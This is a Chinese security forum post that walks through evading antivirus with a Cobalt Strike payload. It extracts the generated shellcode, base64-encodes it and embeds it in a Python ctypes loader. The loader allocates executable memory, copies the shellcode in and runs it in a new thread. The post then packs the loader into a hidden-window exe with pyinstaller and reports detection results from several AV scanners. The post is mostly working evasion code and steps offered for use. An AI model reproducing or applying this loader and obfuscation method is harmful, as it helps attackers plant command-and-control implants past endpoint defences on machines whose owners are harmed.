安全矩阵

 找回密码
 立即注册
搜索
查看: 8622|回复: 0

免杀 - shellcode简单混淆BypassAv

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-29 22:50:32 | 显示全部楼层 |阅读模式
原文链接:免杀  -  shellcode简单混淆BypassAv

前言

在进行渗透测试过程中,往往会遇到主机有杀软,导致我们的木马被查杀,那么我们就得想办法绕过杀软进行上线Cobalt strike 或者 Metasploiit
环境:
Cobalt strike 4.1
Python
pyinstaller

何为shellcode?
百度百科是这样介绍它的:
“shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名”


何为shellcode混淆?
其实就是把我们的shellcode进行加密:如base64,AES等等

实现过程
1、生成shellcode
2、把shellcode加密
3、构造shellcode加载器
4、shellcode加载器把我们加密过后的shellcode解密
5、执行程序,上线C2

下面我也直观的列举了一幅图来说明,如下



利用cobalt strike生成shellcode
生成Python shellcode  x64

会得到这样一个内容文件


简单处理payload.py shellcode文件
1、你可以直接把双引号里面的内容复制出来
2、写代码提取出来
这里我用的第二种,附自己写的垃圾代码

这样就能简单处理我们的shellcode文件


对我们提取出来的shellcode进行加密
这里我使用base64加密
1、可以直接使用在线的base64网站加密
https://base64.us/

2、自写代码进行加密
这里使用Python base64库,附代码
  1. # coding=utf-8
  2. import base64
  3. # 读取shellcode文件
  4. shellcode = open('payload.py')
  5. shellcode = shellcode.read()
  6. # 取出shellcode内容
  7. s1 = shellcode.find(""")+1
  8. s2 = shellcode.rfind(""")
  9. shellcode =  shellcode[s1:s2]
  10. # print(shellcode)
  11. # 把shellcode base64加密并写入base64.txt文件
  12. base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))
  13. with open('base64.txt', 'wb') as shell:
  14.     shell.write(base64_shellcode)
复制代码

编写加载器这里直接附代码
  1. import base64
  2. import codecs
  3. import ctypes
  4. shellcode = ""
  5. shellcode = base64.b64decode(shellcode)
  6. shellcode = codecs.escape_decode(shellcode)[0]
  7. shellcode = bytearray(shellcode)
  8. # 设置VirtualAlloc返回类型为ctypes.c_uint64
  9. ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
  10. # 申请内存
  11. ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
  12. # 放入shellcode
  13. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  14. ctypes.windll.kernel32.RtlMoveMemory(
  15.     ctypes.c_uint64(ptr),
  16.     buf,
  17.     ctypes.c_int(len(shellcode))
  18. )
  19. # 创建一个线程从shellcode放置位置首地址开始执行
  20. handle = ctypes.windll.kernel32.CreateThread(
  21.     ctypes.c_int(0),
  22.     ctypes.c_int(0),
  23.     ctypes.c_uint64(ptr),
  24.     ctypes.c_int(0),
  25.     ctypes.c_int(0),
  26.     ctypes.pointer(ctypes.c_int(0))
  27. )
  28. # 等待上面创建的线程运行完
  29. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
复制代码

把我们加密过后的shellcode放进shellcode = ""里



测试,能否上线


利用pyinstaller打包成exe

pyinstaller -F bypassav.py -w


生成exe

测试能否上线


测试免杀率
1、本地360

2、微步在线


3、VT查杀


结尾这篇只是一个引子,大家还可以考虑
1、对我们生成的exe再进行混淆
2、分离shellcode

后续有时间会给大家写一篇分离shellcode,上述过程皆可进行自动化生成,我已经实现到自己的平台了




















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 23:38 , Processed in 0.013080 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表